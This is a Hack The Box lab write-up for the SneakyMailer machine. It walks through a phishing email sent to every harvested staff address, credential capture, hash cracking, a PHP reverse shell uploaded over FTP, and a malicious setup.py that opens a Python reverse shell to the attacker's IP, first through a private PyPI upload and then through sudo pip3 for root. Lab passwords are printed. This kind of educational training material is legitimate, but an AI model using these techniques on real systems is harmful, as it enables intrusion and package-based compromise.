← Home

Hack The Box : SneakyMailer

5 September, 2021

Nmap shows a lot of open ports

---------------------Starting Port Scan-----------------------
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy
---------------------Starting Script Scan-----------------------
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: NAMESPACE UIDPLUS CHILDREN ACL ENABLE SORT ACL2=UNION UTF8=ACCEPTA0001 THREAD=REFERENCES OK THREAD=ORDEREDSUBJECT completed QUOTA CAPABILITY IDLE STARTTLS IMAP4rev1
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: NAMESPACE UIDPLUS CHILDREN ACL ENABLE SORT ACL2=UNION UTF8=ACCEPTA0001 AUTH=PLAIN THREAD=REFERENCES OK THREAD=ORDEREDSUBJECT completed QUOTA IDLE CAPABILITY IMAP4rev1
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
---------------------Starting Full Scan------------------------
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy
No new ports

The ftp server didn't allow anonymous access. I checked the website next, and there were a bunch of emails on the "Team" page

Using cewl I grabbed all the email addresses

$ cewl -e -w emails http://sneakycorp.htb/team.php

Port 8080 showed the default nginx page and nothing else. gobuster on both the HTTP ports returned nothing.

At this point, I didn't know how to proceed forward so I had to look up for a hint :

Turns that sending an email with a link to all of the above email addresses is a way to progress...

I learnt about swaks and used it send an email with a link containing my IP to all the emails

for E in `cat emails`
do
        swaks --to $E --server 10.10.10.197 --from temp@sneakymailer.htb --body "Content : http://10.10.16.5"
        echo $E
done

Since I was listening on port 80, as the script progressed, I saw a request arriving

$ sudo nc -lvnp 80
[sudo] password for kali: 
listening on [any] 80 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 51796
POST / HTTP/1.1
Host: 10.10.16.5
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Looks like credentials!

^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

I logged in as paulbyrd on the IMAP server and found some more credentials in the "Sent Items" of this account

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Using the credentials, I was able to login as developer on the FTP server

There was a directory called dev in there that looked like it had files similar to the website on port 80

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jun 30  2020 dev
226 Directory send OK.
ftp> ls dev
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26  2020 css
drwxr-xr-x    2 0        0            4096 May 26  2020 img
-rwxr-xr-x    1 0        0           13742 Jun 23  2020 index.php
drwxr-xr-x    3 0        0            4096 May 26  2020 js
drwxr-xr-x    2 0        0            4096 May 26  2020 pypi
drwxr-xr-x    4 0        0            4096 May 26  2020 scss
-rwxr-xr-x    1 0        0           26523 May 26  2020 team.php
drwxr-xr-x    8 0        0            4096 May 26  2020 vendor
226 Directory send OK.

I successfully uploaded a PHP reverse shell in /dev

ftp> put rev.php
local: rev.php remote: rev.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (33.3604 MB/s)

Now I had to find a way of triggering it... I tried /dev/rev.php but it didn't work. Turns out there was a virtual host called dev as well, so dev.sneakymailer.htb/rev.php worked!

$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 53636
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 12:49:33 up  1:05,  0 users,  load average: 0.03, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
low:x:1000:1000:,,,:/home/low:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:107:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
postfix:x:108:116::/var/spool/postfix:/usr/sbin/nologin
courier:x:109:118::/var/lib/courier:/usr/sbin/nologin
vmail:x:5000:5000::/home/vmail:/usr/sbin/nologin
developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash
pypi:x:998:998::/var/www/pypi.sneakycorp.htb:/usr/sbin/nologin

User

Using developer's password I was able to switch user but the flag was not yet readable

$ su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)
whoami
developer
cd /home
ls
low
vmail
ls *
low:
user.txt
venv
ls: cannot open directory 'vmail': Permission denied
cd low
cat user.txt
cat: user.txt: Permission denied

Inside a directory, I found a .htpasswd file with a hash

developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -ltrha
ls -ltrha
total 20K
drwxr-xr-x 6 root root     4.0K May 14  2020 ..
drwxr-xr-x 6 root pypi     4.0K May 14  2020 venv
drwxr-xr-x 4 root root     4.0K May 15  2020 .
-rw-r--r-- 1 root root       43 May 15  2020 .htpasswd
drwxrwx--- 2 root pypi-pkg 4.0K Jun 30  2020 packages
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd 
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Looks like a pypi server was running on this machine on port 5000

developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ps aux | grep pypi
ps aux | grep pypi
pypi       729  0.0  0.6  36804 25828 ?        Ss   11:43   0:03 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages

I tried to crack the password, and found a match

$ john --wordlist=rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (pypi)
1g 0:00:01:12 DONE 0.01386g/s 49544p/s 49544c/s 49544C/s soufoxinthemyx..soufflekimiamo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

This password didn't work for switching to low... Let's focus on the PyPi server. Looking through the nginx configuration, I found that although the server was listening on 127.0.0.1:5000, nginx was also proxying it through port 8080

www-data@sneakymailer:/etc/nginx/sites-enabled$ cat /etc/nginx/sites-available/pypi.sneakycorp.htb
< cat /etc/nginx/sites-available/pypi.sneakycorp.htb
server {
        listen 0.0.0.0:8080 default_server;
        listen [::]:8080 default_server;
        server_name _;
}


server {
        listen 0.0.0.0:8080;
        listen [::]:8080;

        server_name pypi.sneakycorp.htb;

        location / {
                proxy_pass http://127.0.0.1:5000;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
        }
}

Now my aim was to create and upload a package with reverse shell python code and somehow execute it. After going through this guide by Linode, it was clear that the setup.py file will be executed at some point automatically after uploading the package.

So I created a package with the following setup.py and uploaded it. Note the reverse shell code wrapped in a try...except, this is because setup.py will be executed locally to compress the package as well and since I wouldn't be listening then, the resulting error will be ignored.

$ ls -ltrha
total 24K
drwxr-xr-x 1 root root 4.0K Sep  5 02:37 shellpy
-rw-r--r-- 1 root root    0 Sep  5 02:37 setup.cfg
-rw-r--r-- 1 root root  352 Sep  5 02:40 setup.py
drwxr-xr-x 1 root root 4.0K Sep  5 02:40 dist
drwxr-xr-x 1 root root 4.0K Sep  5 02:58 shellpy.egg-info
drwxr-xr-x 1 root root 4.0K Sep  5 02:58 .
drwxr-xr-x 1 root root 4.0K Sep  5 03:01 ..

$ cat ~/.pypirc
[distutils]
index-servers =
  sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui

$ cat setup.py
from setuptools import setup

try:
    import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",4243));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
except:
    pass

setup(
    name='shellpy',
    packages=['shellpy'],
    description='shell',
    version='0.1',
    )

$ python3 setup.py sdist upload -r sneaky
running sdist
running egg_info
writing shellpy.egg-info/PKG-INFO
writing dependency_links to shellpy.egg-info/dependency_links.txt
writing top-level names to shellpy.egg-info/top_level.txt
reading manifest file 'shellpy.egg-info/SOURCES.txt'
writing manifest file 'shellpy.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
warning: check: missing required meta-data: url

warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) should be supplied

creating shellpy-0.1
creating shellpy-0.1/shellpy
creating shellpy-0.1/shellpy.egg-info
copying files to shellpy-0.1...
copying setup.cfg -> shellpy-0.1
copying setup.py -> shellpy-0.1
copying shellpy/__init__.py -> shellpy-0.1/shellpy
copying shellpy.egg-info/PKG-INFO -> shellpy-0.1/shellpy.egg-info
copying shellpy.egg-info/SOURCES.txt -> shellpy-0.1/shellpy.egg-info
copying shellpy.egg-info/dependency_links.txt -> shellpy-0.1/shellpy.egg-info
copying shellpy.egg-info/top_level.txt -> shellpy-0.1/shellpy.egg-info
Writing shellpy-0.1/setup.cfg
Creating tar archive
removing 'shellpy-0.1' (and everything under it)
running upload
Submitting dist/shellpy-0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK

On the listener, I caught the shell!

$ nc -lvnp 4243                                          
listening on [any] 4243 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 40434
low@sneakymailer:/$ id
id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low@sneakymailer:/$ whoami
whoami
low
low@sneakymailer:/$ cd
cd
low@sneakymailer:~$ cat user.txt
cat user.txt
<flag>

User flag obtained! I continued by logging in as low through SSH, since I was able to add my public key to authorized_keys

Root

low was allowed to run pip3 as root

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

Using a similar setup.py as before, I was able to get a reverse shell as root

low@sneakymailer:~/temp$ sudo /usr/bin/pip3 install .
$ nc -lvnp 4244
listening on [any] 4244 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.197] 56216
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
# cd /root
cd /root
# cat root.txt
cat root.txt
<flag>